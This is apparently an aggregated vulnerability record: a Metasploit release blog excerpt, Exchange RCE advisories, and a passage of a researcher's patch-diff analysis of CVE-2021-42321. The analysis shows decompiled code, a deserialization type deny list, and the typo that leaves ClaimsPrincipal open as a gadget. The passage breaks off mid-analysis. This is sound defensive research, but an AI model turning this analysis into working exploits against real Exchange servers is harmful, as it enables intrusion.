McIntyre\n * [Update the module docs for CVE-2020-1472 (Zerologon)](<https://github.com/rapid7/metasploit-framework/pull/14204>) by Spencer McIntyre\n\n## Bugs fixed\n\n * [Fix msf6 TLV_TYPE_PIVOT_STAGE_DATA_SIZE pivoting error](<https://github.com/rapid7/metasploit-framework/pull/14028>) by Alan David Foster\n * [Always show module actions within the info command](<https://github.com/rapid7/metasploit-framework/pull/14233>) by Alan David Foster\n * [Remove modules whose deprecation date has passed](<https://github.com/rapid7/metasploit-framework/pull/14242>) by Spencer McIntyre\n * [Convert myworkspace.id to myworkspace_id for no db compat](<https://github.com/rapid7/metasploit-framework/pull/14226>) by h00die\n * [Disconnect the named pipe and break after the impersonation callback](<https://github.com/rapid7/metasploit-payloads/pull/438>) by Spencer McIntyre\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.0.9...6.0.10](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222020-10-01T17%3A52%3A23%2B01%3A00..2020-10-08T11%3A41%3A44-05%3A00%22>)\n * [Full diff 6.0.9...6.0.10](<https://github.com/rapid7/metasploit-framework/compare/6.0.9...6.0.10>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2020-10-09T19:41:47", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-2393", "CVE-2020-0688", "CVE-2020-1472"], "modified": "2020-10-09T19:41:47", "id": "RAPID7BLOG:0C3EDBDC537092A20C850F762D5A5856", "href": "https://blog.rapid7.com/2020/10/09/metasploit-wrap-up-82/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:31:04", "description": "A remote code execution vulnerability exists in Microsoft Exchange Server. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-23T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2021-42321)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-23T00:00:00", "id": "CPAI-2021-0906", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:40:35", "description": "A remote code execution vulnerability exists in Microsoft Exchange Server. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-01T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2020-0688)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-05-01T00:00:00", "id": "CPAI-2020-0104", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-05-31T14:48:43", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at November 21, 2021 5:55pm UTC reported:\n\nA PoC for this vulnerability is now available at <https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398>. There is also a Metasploit module at <https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_chainedserializationbinder_denylist_typo_rce.rb>\n\nWhat follows is my writeup for this that I wrote a while back, containing info on finding the bug from the patches as well as some info on the side effects of exploiting this bug.\n\n# Intro\n\nAlright so looks like this bug, CVE-2021-42321 is a post authentication RCE bug.\n\nOnly affects Exchange 2016 CU 21 and CU 22. Also Exchange 2019 CU 10 and CU 11.\n\nFound bug fix by patch diffing the October 2021 security updates and the November 2021 patches. Aka <https://support.microsoft.com/help/5007409> which applies the November 2021 patch, and KB5007012 aka the October 2021 patch.\n\nPersonally I found that we can use [[7Zip]] to uncompress the MSI files from the patches, then use [[dnSpy]] from <https://github.com/dnSpy/dnSpy> to load all files in the directory we extract the patch contents to a folder. Note that [[ILSpy]] is a nice alternative however unfortunately it does run into issues with decompiling files that [[dnSpy]] can handle fine, so you end up missing lots of files from the export.\n\nOnce decompilation is done use `File->Remove assemblies with load errors` to remove the extra files that couldn\u2019t be decompiled, then use `File -> Save Code` after selecting every single file in the code and it should show us the opportunity to create a new project to save the code to.\n\nFrom here we can create a new directory to save the code into and tell it to save the decompiled code into that.\n\nFrom there we can use [[Meld]] to do a directory diff of the files from the two patch files to see what changed.\n\n# Analyzing the Diff\n\n## Finding the Changed Files\n\nLooking at just the new/removed files we can see the following:\n\n![[Pasted image 20220205113200.png]]\n\nAs we can see here of particular note given this is a serialization bug is the fact that `Microsoft.Exchange.Compliance.dll` had three files removed from it, specifically under the `Microsoft.Exchange.Compliance\\Compliance\\Serialiation\\Formatters` directory for the following files:\n\n * TypedBinaryFormatter.cs \n\n * TypedSerialiationFormatter.cs \n\n * TypedSoapFormatter.cs \n\n\n## Narrowing in on The Vulnerable File \u2013 TypedBinaryFormatter.cs\n\nLooking through these files we can see that `TypedBinaryFormatter.cs` has a function named `Deserialize` with the following prototype:\n \n \n // Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter \n using System.IO; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private static object Deserialize(Stream serializationStream, SerializationBinder binder) \n { \n \u00a0\u00a0\u00a0\u00a0return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ComplianceFormatter, strictMode: false, allowedTypes, allowedGenerics).Deserialize(serializationStream); \n }\n \n\nWhat is interesting here is that `binder` is a `SerializationBinder`, which is a essentially a class that acts as a controller to tell the program what can be and can\u2019t be serialized and deserialized. Yet this is never passed into the `ExchangeBinaryFormatterFactory.CreateBinaryFormatter()` function, so it never gets this crucial information on what it is meant to be blocking as far as deserialization goes.\n\n## Examining Deserialize() Function Call to CallExchangeBinaryFormatterFactory.CreateBinaryFormatter()\n\nLets see where `ExchangeBinaryFormatterFactory.CreateBinaryFormatter` is defined. Looking for the string `ExchangeBinaryFormatter` in [[dnSpy]] will bring us to `Microsoft.Exchange.Diagnostics.dll` under the `Microsoft.Exchange.Diagnostics` namespace, then the `ExchangeBinaryFormatterFactory` we can see the definition for `ExchangeBinaryFormatterFactory.CreateBinaryFormatter()` as:\n \n \n // Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory \n using System.Runtime.Serialization.Formatters.Binary; \n \n public static BinaryFormatter CreateBinaryFormatter(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n { \n \u00a0\u00a0\u00a0\u00a0return new BinaryFormatter \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Binder = new ChainedSerializationBinder(usageLocation, strictMode, allowList, allowedGenerics) \n \u00a0\u00a0\u00a0\u00a0}; \n }\n \n\nNote also that in the original call `strictMode` was set to `false` and the `allowList` and `allowedGenerics` were set to `TypedBinaryFormatter.allowedTypes`, and `TypedBinaryFormatter.allowedGenerics` respectively. Meanwhile `useageLocation` was set to `DeserializeLocation.ComplianceFormatter`.\n\nThis will mean that we end up calling `ChainedSerializationBinder` with:\n\n * `strictMode` set to `false`, \n\n * `allowList` set to `TypedBinaryFormatter.allowedTypes` \n\n * `allowedGenerics` set to `TypedBinaryFormatter.allowedGenerics` \n\n * `usageLocation` set to `DeserializeLocation.ComplianceFormatter`. \n\n\n## Examining ChainedSerializationBinder Class Deeper\n\nIf we look at the code we can see that a new `ChainedSerializationBinder` instance is being created so lets take a look at that.\n\nWe can see the definition of the initialization function here:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n using System.Collections.Generic; \n \n public ChainedSerializationBinder(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n { \n \u00a0\u00a0\u00a0\u00a0this.strictMode = strictMode; \n \u00a0\u00a0\u00a0\u00a0allowedTypesForDeserialization = ((allowList != null && allowList.Length != 0) ? new HashSet<string>(allowList) : null); \n \u00a0\u00a0\u00a0\u00a0allowedGenericsForDeserialization = ((allowedGenerics != null && allowedGenerics.Length != 0) ? new HashSet<string>(allowedGenerics) : null); \n \u00a0\u00a0\u00a0\u00a0typeResolver = typeResolver ?? ((Func<string, Type>)((string s) => Type.GetType(s))); \n \u00a0\u00a0\u00a0\u00a0location = usageLocation; \n }\n \n\nHere we can see that `allowedTypesForDeserialization` is set to `TypedBinaryFormatter.allowedTypes` and `allowedGenericsForDeserialization` is set to `TypedBinaryFormatter.allowedGenerics`. Furthermore, `this.strictMode` is set to `false`, and `location` is set to `DeserializeLocation.ComplianceFormatter`.\n\nNext we should know that `BindToType()` is used to validate the class for deserialization. So lets take a look at that logic inside the `ChainedSerializationBinder` class.\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n \n public override Type BindToType(string assemblyName, string typeName) \n { \n \u00a0\u00a0\u00a0\u00a0if (serializationOnly) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException(\"ChainedSerializationBinder was created for serialization only.\u00a0\u00a0This instance cannot be used for deserialization.\"); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0Type type = InternalBindToType(assemblyName, typeName); \n \u00a0\u00a0\u00a0\u00a0if (type != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ValidateTypeToDeserialize(type); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return type; \n }\n \n\nSince `serializationOnly` isn\u2019t set, we will skip this logic and get the type using `InternalBindToType()` which is a simple wrapper around `LoadType()` with no validation:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n \n protected virtual Type InternalBindToType(string assemblyName, string typeName) \n { \n \u00a0\u00a0\u00a0\u00a0return LoadType(assemblyName, typeName); \n }\n \n\nAfter getting the type we then check the type wasn\u2019t `null`, aka we were able to find a valid type, and we call `ValidateTypeToDeserialize(type)` to validate that the type is okay to deserialize.\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n \n protected void ValidateTypeToDeserialize(Type typeToDeserialize) \n { \n \u00a0\u00a0\u00a0\u00a0if (typeToDeserialize == null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0string fullName = typeToDeserialize.FullName; \n \u00a0\u00a0\u00a0\u00a0bool flag = strictMode; \n \u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException($\"Type {fullName} failed deserialization (BlockList).\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (typeToDeserialize.IsConstructedGenericType) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fullName = typeToDeserialize.GetGenericTypeDefinition().FullName; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (allowedGenericsForDeserialization == null || !allowedGenericsForDeserialization.Contains(fullName) || GlobalDisallowedGenericsForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else if (!AlwaysAllowedPrimitives.Contains(fullName) && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName) || GlobalDisallowedTypesForDeserialization.Contains(fullName)) && !typeToDeserialize.IsArray && !typeToDeserialize.IsEnum && !typeToDeserialize.IsAbstract && !typeToDeserialize.IsInterface) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0catch (BlockedDeserializeTypeException ex) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0DeserializationTypeLogger.Singleton.Log(ex.TypeName, ex.Reason, location, (flag || strictMode) ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (flag) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nHere is where the code gets interesting. You see, there is only one catch statement, which is designed to catch all `BlockedDeserializationTypeException` errors, however `if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName))` will result in an unhandled `InvalidOperationException` being thrown if both `strictMode` isn\u2019t set and the type we are trying to deserialize is within the `GlobalDisallowedTypesForDeserialization` and has not been granted exception via the `allowedTypesForDeserialization` list. Since `strictMode` is not set, there is the very real possibility this exception might be thrown, so this is something we have to watch out for.\n\nOtherwise every other exception thrown will be caught by this `catch (BlockedDeserializeTypeException ex)` code, however it will interestingly log the exception as a `DeserializationTypeLogger.BlockStatus.WouldBeBlocked` error since `strictMode` is set to false as is `flag` which is set as `bool flag = strictMode;` earlier in the code.\n\nAdditionally since `flag` isn\u2019t set since `strictMode` is set to `false`, no error is thrown and the code proceeds normally without any errors.\n\nHowever what is in this blacklist denoted by `GlobalDisallowedTypesForDeserialization`? Lets find out. First we need to find out how `GlobalDisallowedTypesForDeserialization` is defined.\n\n## Looking Deeper at GlobalDisallowedTypesForDeserialization Type Blacklist \u2013 Aka Finding the Bug\n\nLooking at the code for `Microsoft.Exchange.Diagnostics.ChainedSerializationBinder` we can see that `GlobalDisallowedTypesForDeserialization` is actually set to the result of `BuildDisallowedTypesForDeserialization()` when it is initialized:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n using System.Collections.Generic; \n using System.IO; \n using System.Linq; \n using System.Reflection; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n public class ChainedSerializationBinder : SerializationBinder \n { \n \u00a0\u00a0\u00a0\u00a0private const string TypeFormat = \"{0}, {1}\"; \n \n \u00a0\u00a0\u00a0\u00a0private static readonly HashSet<string> AlwaysAllowedPrimitives = new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(string).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(int).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(uint).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(long).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ulong).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(double).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(float).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(bool).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(short).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ushort).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(byte).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(char).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(DateTime).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(TimeSpan).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(Guid).FullName \n \u00a0\u00a0\u00a0\u00a0}; \n \n \u00a0\u00a0\u00a0\u00a0private bool strictMode; \n \n \u00a0\u00a0\u00a0\u00a0private DeserializeLocation location; \n \n \u00a0\u00a0\u00a0\u00a0private Func<string, Type> typeResolver; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedTypesForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedGenericsForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private bool serializationOnly; \n \n \u00a0\u00a0\u00a0\u00a0protected static HashSet<string> GlobalDisallowedTypesForDeserialization { get; private set; } = BuildDisallowedTypesForDeserialization();\n \n\nIf we decompile this function we can notice something interesting:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System.Collections.Generic;\n \n private static HashSet<string> BuildDisallowedTypesForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.Data.Schema.SchemaModel.ModelStore\",\n \t\t\t\"Microsoft.FailoverClusters.NotificationViewer.ConfigStore\",\n \t\t\t\"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity\",\n \t\t\t\"Microsoft.Management.UI.Internal.FilterRuleExtensions\",\n \t\t\t\"Microsoft.Management.UI.FilterRuleExtensions\",\n \t\t\t\"Microsoft.Reporting.RdlCompile.ReadStateFile\",\n \t\t\t\"Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope\",\n \t\t\t\"Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource\",\n \t\t\t\"Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore\",\n \t\t\t\"Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage\",\n \t\t\t\"Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization\",\n \t\t\t\"Microsoft.VisualStudio.Publish.BaseProvider.Util\",\n \t\t\t\"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\",\n \t\t\t\"Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache\",\n \t\t\t\"Microsoft.Web.Design.Remote.ProxyObject\",\n \t\t\t\"System.Activities.Presentation.WorkflowDesigner\",\n \t\t\t\"System.AddIn.Hosting.AddInStore\",\n \t\t\t\"System.AddIn.Hosting.Utils\",\n \t\t\t\"System.CodeDom.Compiler.TempFileCollection\",\n \t\t\t\"System.Collections.Hashtable\",\n \t\t\t\"System.ComponentModel.Design.DesigntimeLicenseContextSerializer\",\n \t\t\t\"System.Configuration.Install.AssemblyInstaller\",\n \t\t\t\"System.Configuration.SettingsPropertyValue\",\n \t\t\t\"System.Data.DataSet\",\n \t\t\t\"System.Data.DataViewManager\",\n \t\t\t\"System.Data.Design.MethodSignatureGenerator\",\n \t\t\t\"System.Data.Design.TypedDataSetGenerator\",\n \t\t\t\"System.Data.Design.TypedDataSetSchemaImporterExtension\",\n \t\t\t\"System.Data.SerializationFormat\",\n \t\t\t\"System.DelegateSerializationHolder\",\n \t\t\t\"System.Drawing.Design.ToolboxItemContainer\",\n \t\t\t\"System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer\",\n \t\t\t\"System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler\",\n \t\t\t\"System.IdentityModel.Tokens.SessionSecurityToken\",\n \t\t\t\"System.IdentityModel.Tokens.SessionSecurityTokenHandler\",\n \t\t\t\"System.IO.FileSystemInfo\",\n \t\t\t\"System.Management.Automation.PSObject\",\n \t\t\t\"System.Management.IWbemClassObjectFreeThreaded\",\n \t\t\t\"System.Messaging.BinaryMessageFormatter\",\n \t\t\t\"System.Resources.ResourceReader\",\n \t\t\t\"System.Resources.ResXResourceSet\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryClientFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryServerFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Remoting.Channels.CrossAppDomainSerializer\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapClientFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapServerFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\",\n \t\t\t\"System.Runtime.Serialization.Formatters.Soap.SoapFormatter\",\n \t\t\t\"System.Runtime.Serialization.NetDataContractSerializer\",\n \t\t\t\"System.Security.Claims.ClaimsIdentity\",\n \t\t\t\"System.Security.ClaimsPrincipal\",\n \t\t\t\"System.Security.Principal.WindowsIdentity\",\n \t\t\t\"System.Security.Principal.WindowsPrincipal\",\n \t\t\t\"System.Security.SecurityException\",\n \t\t\t\"System.Web.Security.RolePrincipal\",\n \t\t\t\"System.Web.Script.Serialization.JavaScriptSerializer\",\n \t\t\t\"System.Web.Script.Serialization.SimpleTypeResolver\",\n \t\t\t\"System.Web.UI.LosFormatter\",\n \t\t\t\"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem\",\n \t\t\t\"System.Web.UI.ObjectStateFormatter\",\n \t\t\t\"System.Windows.Data.ObjectDataProvider\",\n \t\t\t\"System.Windows.Forms.AxHost+State\",\n \t\t\t\"System.Windows.ResourceDictionary\",\n \t\t\t\"System.Workflow.ComponentModel.Activity\",\n \t\t\t\"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector\",\n \t\t\t\"System.Xml.XmlDataDocument\",\n \t\t\t\"System.Xml.XmlDocument\"\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0}\n \n\nThis is a bit hard to read, so lets take a look at the patch diff from [[Meld]]:\n\n![[Pasted image 20220205130924.png]]\n\nHuh looks like there was a typo in the `Security.System.Claims.ClaimsPrincipal` blacklist entry where it was typed as `Security.System.ClaimsPrincipal` aka we missed an extra `.Claims` in the name.\n\n## Why Security.System.Claims.ClaimsPrincipal Was Blocked \u2013 A Deeper Dive into The Root Issue\n\nLets look at the call chain here. If we decompile the code for `System.Security.Claims.ClaimsPrincipal` we can see mentions of `OnDeserialized` which has a more full explanation at <https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializedattribute?view=net-6.0>. Note that it states `When OnDeserializedAttribute class is applied to a method, specifies that the method is called immediately after deserialization of an object in an object graph. The order of deserialization relative to other objects in the graph is non-deterministic.`\n\nOf particular interest is the `OnDeserializedMethod()` method which is called after deserialization takes place. Note that if there was a `OnDeserializingMethod` that would be called _during_ deserialization which would also work.\n\nLooking into the class more we notice the following functions:\n\nInitializer. Note that this is labeled as `[NonSerialized]` so despite it calling the `Deserialize()` method it will not be called upon deserialization as it as explicitly declared itself as something that can\u2019t be deserialized. Thus we can\u2019t use this function to trigger the desired `Deserialize()` method call. Lets keep looking.\n \n \n // System.Security.Claims.ClaimsPrincipal \n using System.Collections.Generic; \n using System.IO; \n using System.Runtime.Serialization; \n using System.Security.Principal; \n \n [OptionalField(VersionAdded = 2)] \n private string m_version = \"1.0\"; \n [NonSerialized] \n private List<ClaimsIdentity> m_identities = new List<ClaimsIdentity>(); \n [SecurityCritical] \n protected ClaimsPrincipal(SerializationInfo info, StreamingContext context) \n { \n \u00a0\u00a0\u00a0\u00a0if (info == null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new ArgumentNullException(\"info\"); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0Deserialize(info, context); \n }\n \n\nThe next place to look is that weird `OnDeserialized()` method. Lets take a look at its code. We can see that the `[OnDeserialized]` class is applied to this method meaning that `method is called immediately after deserialization of an object in an object graph`. We can also see that it takes in a `StreamingContext` parameter and then proceeds to call `DeserializeIdentities()` with a variable known as `m_serializedClaimIdentities`:\n \n \n // System.Security.Claims.ClaimsPrincipal \n using System.Runtime.Serialization; \n \n [OnDeserialized] \n [SecurityCritical] \n private void OnDeserializedMethod(StreamingContext context) \n { \n \u00a0\u00a0\u00a0\u00a0if (!(this is ISerializable)) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0DeserializeIdentities(m_serializedClaimsIdentities); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0m_serializedClaimsIdentities = null; \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nBut where is `m_serializedClaimsIdentities` set? Well looking at the `OnSerializedMethod()` function we can see this is set when serializing the object, as explained at <https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializingattribute?view=net-6.0> in the code examples and as shown below:\n \n \n // System.Security.Claims.ClaimsPrincipal \n using 